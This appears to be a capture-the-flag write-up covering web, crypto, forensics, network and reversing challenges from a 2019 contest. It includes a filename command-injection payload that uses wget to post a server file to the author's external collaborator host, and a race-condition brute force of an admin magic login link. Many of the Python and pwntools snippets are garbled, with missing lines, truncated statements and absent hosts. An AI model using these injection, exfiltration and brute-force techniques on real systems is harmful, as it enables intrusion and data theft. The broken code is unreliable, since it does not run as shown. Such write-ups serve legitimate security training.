Files for some solutions can be found on my github repo

Webcam (5p): Warmup


Flag is in the jquery file

Steps to Solution

I entered the website. Then I tried admin:admin credentials. Alert, let’s look at the JS file. Opened DevTools. Flag is there in jquery.js

get puzzled! (50p): Web


Some php tricks and imagination. Followed the path and saw the flag in source code.

Steps to Solution

I got to the page

Saw that error. I imagined the code to be something like this $_GET['show%00code#<script>$x="%00";</script>aaa=']

So I tried the the param. Redirects, needs stop param (everything seen in Burp)$x%3d%22%2500%22%3b%3C/script%3Eaaa=1234&stop=


No luck. But it suggets flag_token_sad123a3edewdc32dwasd22343qds.php. Tried the file. Got redirect.

Flag was in the Source Code

Voting Platform (150p): Web


Login magic link bruteforceable. <10000 requests. But there was a race condition, sending fast requests I could send one to me, one to admin, another to me, and then test just the ids between. I got to send ~24 requests to get the link.

admin panel

Steps to Solution

Registered. Mail didn’t come. retry retry retry

Mail did come after a while.

Voted. Observed that your-vote has md5

Also got hint

<!-- show the secret win code to admin user (id:1) -->

Got email of admin

what now?

looked around. observed in burp some i-am-old link. tried. magic login link.


Seems bruteforceable.

Run burp intruder with

POST /index.php/old-request HTTP/1.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.86 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 69
DNT: 1
Connection: close


And the following wordlist

Got two close ids. Bruteforce between them. Got cookie for admin. Copied the cookie in browser and the flag was there. See picture above.

Office Convert (150p): Web


Command injection in upload filename. Some small limitations. Used wget to post flag to my burp collab.

request from server

Steps to Solution

Tried to upload an html with an iframe to my site. It worked. tried js, no. Iframe doesn’t work properly, just sends request. - - [06/Apr/2019:10:39:45 +0000] "OPTIONS / HTTP/1.1" 405 166 "-" "LibreOffice" - - [06/Apr/2019:10:39:45 +0000] "HEAD / HTTP/1.1" 200 0 "-" "LibreOffice" - - [06/Apr/2019:10:39:45 +0000] "GET / HTTP/1.1" 200 93 "-" "LibreOffice"

Then i tried everything. Found something about remote arbitrary file disclosure in LibreOffice. Tried that, didnt work.

Left it like that, got to work on other challenges.

Got back. nothing. svg, xml xxe.

Reading the hint I figured I should think deeper how they process this. Well I already know it’s a libre office convert. And allows lots of format. But what if the filename is used in the command? Let’s try that.

filename=`sleep 4`

It worked. I tried dig first with burp collaborator. It works.

Lets exfiltrate with dig. Too tedious.

Found out that curl wasn’t available. Also slashes didn’t work. A lot of tries later I came up with this.

$(find src | grep flag.js | head -n1 | xargs -I{} wget --post-data a={})

And I got

User-Agent: Wget/1.19.4 (linux-gnu)
Accept: */*
Accept-Encoding: identity
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 90

a=module.exports = ECSC{98028539a362efecbde13ae4df924e02432555bb1f4730219938330651d84f35};

Crypto Luck (150p): Crypto


Proof of work challenge. A random value was generated on the server. The player was required to have an input that matched the first 6 bytes of the hashed with sha1 random value. After 10 valid reports (on the same connection), I got the flag.


Steps to Solution

Already coded this at a different ctf last year. Just copied and updated the code. Required python2 and pwntools

#!/usr/bin/env python2
from pwn import *
import hashlib
import re
import time
import itertools

def check(h, key):
    return h[0:6] == key

def hash(s, cipher):
    if cipher == 'sha1':
        return hashlib.sha1(s).hexdigest()
    elif cipher == 'md5':
        return hashlib.md5(s).hexdigest()

    raise ValueError('cipher not found %s' % cipher)

def break_hash(cipher, key):
    for i in xrange(0, 256**4):
        s = str(i)
        h = hash(s, cipher)
        if check(h, key):
            print "%s(%s) = %s" % (cipher, s, h)
            return s
        elif i & 1048575 == 1048575:
  'try at %s' % s)

    raise ValueError('matching hash not found')

cipher = 'sha1'
while True:
    # nc 50041
    io = remote('', 50041)

    i = 0
    while True:
        data = io.recv().strip()

        # sha1.hexdigest()[0:6]
        key = data[0:6]'key = %s' % key)

        x = break_hash(cipher, key)

        i += 1"count = %d" % i)


super_caesar (250p): Crypto



Start and stop are the first and last words. They provide the key for the lowercase chars and uppercase chars. This was bruteforceable too.

Steps to Solution

First thought it was Vigenere (too many points for simple caesar) and they just used Caesar in the name. Wasted a lot of time on that path.

Finally just tried to decode first key with caesar at

START and STOP. figured it would be lower chars, upper chars. Coded some python

def main():
    s = bytearray(b'bcjac --- YnuNmQPGhQWqCXGUxuXnFVqrUVCUMhQdaHuCIrbDIcUqnKxbPORYTzVCDBlmAqtKnEJcpED --- UVQR')
    k1, s, k2 = s.split(b' --- ')

    for i in range(len(s)):
        c = s[i]
        if 65 <= c <= ord('Z'):
            c = 65 + ((c - 65) - 2) % 26
            c = 97 + ((c - 97) - 9) % 26
        s[i] = c


if __name__ == '__main__':


➜ python

I was in the last 5 minutes and it didn’t work. Panicked. Tried like 5 variations and got it.

Alice (300p): Crypto


It’s a programming challenge. Not a crypto challenge. Count chars for all 64 positions. If in the first half, pick the char that appeared just once. If in the second half, pick the char with 0 matches. Got flag.

Steps to Solution

cnt = [
    [0 for _ in range(0, 16)] for _ in range(0, 64)

with open('Alice_replies.txt', 'r') as f:
    data =

hashes = data.split("\n")
for h in hashes:
    for i, c in enumerate(h):
        c_ = int(c, 16)
        cnt[i][c_] += 1

flag = ''
for i in range(0, 64):
    possible = []
    for j, c in enumerate(cnt[i]):
        if i < 32 and c == 1:
        elif i >= 32 and c == 0:

    print("#%d: %s" % (i, repr(possible)))
    flag += '%x' % possible[0]

print("ECSC{"+"%s}" % flag)

Online encryption (100p): Forensics


It was a post request through HTTP (not secure). Between a lot of traffic data.


Steps to Solution

Downloaded the file. Looked through it with wireshark.

There was too much data so I filtered by http.

Saw some requests. Looked for POST request.


Used rot13(b64decode()) with CyberChef'A-Za-z0-9%2B/%3D',true)ROT13(true,true,13)&input=VWxCR1VIdHhjVFUwTlhOdmN6RXljM0UyTURoeGJtNDRjREl3TVhNMU1ITTVOWEE0TlRJd2IzSndPWE0zTkRSdU16VTNNMjh4Y1hBd2IzQTFNM0J5TURFNU56STJmUT09

Piet Mondrian (100p): Misc


Piet is an esoteric language. piet.jpg was hiding some png images. Those were could be interpreted by piet and they would print out the flag.

Steps to Solution

Checked stegsolve, strings and some others.

Run binwalk. See some pngs.

binwalk -D 'png image:png' piet.jpg

Got the pngs. No idea what now. Searched for piet and secret online. Found There’s a pretty neat hint on that page that says you should use gimp to resave images if they don’t work properly.

Got flag!

➜ ./bin/npiet ./p1.png | head -c 30
➜ ./bin/npiet ./p2.png | head -c 30
➜ ./bin/npiet ./p3.png | head -c 30

Victim (100p): Network


Flag was hidden in some traffic between two private ips. One of them looks like a ftp server and the other is the client. The client retrieved some files from the server, including an archive with Flag.txt

Steps to Solution

Opened wireshark. Looked at http. Then ftp.

Then randomly with strings. Saw something interesting. Some FTP traffic that I wasn’t seeing with the ftp filter

(ip.src == or ip.dst == and data

Found some files. indecisive.jpg, some txt files and

zip file

➜ unzip
   skipping: Flag.txt                unsupported compression method 99

googleing around it says i can use 7z. but 7z asks for password.

remembering the description some authentication information will help you to capture the flag

➜ strings file.pcap | grep PASS
PASS VADPRDqid4TaB0r5a2B0n9wLp
PASS ftpuser
PASS password

Password VADPRDqid4TaB0r5a2B0n9wLp worked. Flag.txt contains the flag.

Unusual Communication (200p): Network


An image was hidden in the section of ICMP requests. Image contained a password for a cisco router, encoded with something specific. “Cracked” the password with a tool, password was the flag.

Steps to Solution

Looked through with wireshark. Found some html. man page from ncat and one bin. Packet by packet extracted bin. Tedious. It was netcat binary…

Looked at icmp. Apparently icmp can send data and the server sends it back. more than 10 packets, How do we automate this?

enter tshark

tshark -r captura.pcapng -e data -Tfields '(icmp) && (ip.src ==' > data.hex
cat data.hex| xxd -r -p > img.png

Got an image

username admin password 7 03217838251474481E0D4D5144440A08532F7B732C666675465E425B0052080B040058051D44000000525302520F0C57550E53021702500C0A050A254A1650405542135B0D5037

Didn’t know what that is. searched google for 142 char password. Nothing. searched for username admin password 7. Got something about cisco. Searched cisco password cracker

got flag!

global-cell (300p): Network


The pcap was leaking that about the location in the form of the closest cell tower. The area code of the city hashed with sha256 was the flag.

Steps to Solution

Got pcap. Searched with wireshark. Too much data.

strings challenge.pcapng

Scrolled through it until I found something interesting. Found some gcellid and Paris. googled for global cell id. Found this website, searched for france - MCC 208.

strings challenge.pcapng | grep 208

used with

{'INFO_CELL_GLOBAL_ID': {'sector': 2, 'cell_id': 1106, 'cell_gid': u'208f2075ee4025', 'bts': 69, 'mcc': 208, 'lac': 22510, 'mnc': 20}}

got to city of Lanton, France.,_Gironde

INSEE/Postal code
33229 /33138

Wasn’t sure which. Tested both.ECSC{sha256('33229')} is the flag.

guessing-game (100p): Revexp


Run local. Get answer. Send to remote server. Repeat two or three times (got it the first time).


Steps to Solution

First I tried decompiling and stuff. Saw it uses rand and srand with time.

Finally just run local, got answer, sent to server.

Script requires pwntools

from pwn import *
import sys
import time

program_name = './a.out'

remote_server = ''
PORT = 50021
if __name__ == "__main__":
    p = process(program_name)

    data = p.recvline()
    data = p.recvline()

    data = p.recvuntil('Try harder :(')
    answer = int(data.split('The answer was: ')[1].split('.')[0])

    p = remote(remote_server, PORT)

    data = p.recvline()
    data = p.recvline()

    data = p.recvline()
    data = p.recvline()

Checker (150p): Revexp


It’s a python3 script bundled with pyinstaller. Get files and decompile the python script. Flag is ECSC{sha256(username:password)}

Steps to Solution

Looked around with radare2. Not a classic binary

gdb all the way. Saw something about PKG in registers. I thought of packers. Tried binwalk. Lots of archives.

It prints I do not know

grep -r 'do not know'
Binary file _checker.extracted/B493 matches

Used strings. Looks like python. Searching for python packers. Something about pyinstaller on google. Let’s try it.

I first tried the version for python 2. Which didn’t work. Then by looking through the extracted files I figured out that it must be python3 and it surely is PyInstaller. (some paths in the archives suggests it strongly)

So I tried again with the version for python3. The archive visualiser worked. extracted 1 (which I already extracted with binwalk, but now I was sure).

Tried uncompyle6. Didn’t work. Found some website that worked.

It says flag is in ECSC{sha256(username:password)} form. But hashed with md5 password or not?

username = decode(decode(decode(rot13(('').join(map(str, username))))))
password = str.encode(decode(decode(rot13(unquote(decode(('').join(map(str, password))))))))
print('ECSC{"+"%s}' % hashlib.sha256(('%s:%s' % (username, password)).encode('utf8')).hexdigest())
password = md5_to_hex(md5(password))
print('ECSC{"+"%s}' % hashlib.sha256(('%s:%s' % (username, password)).encode('utf8')).hexdigest())

It was the second one. Hashed.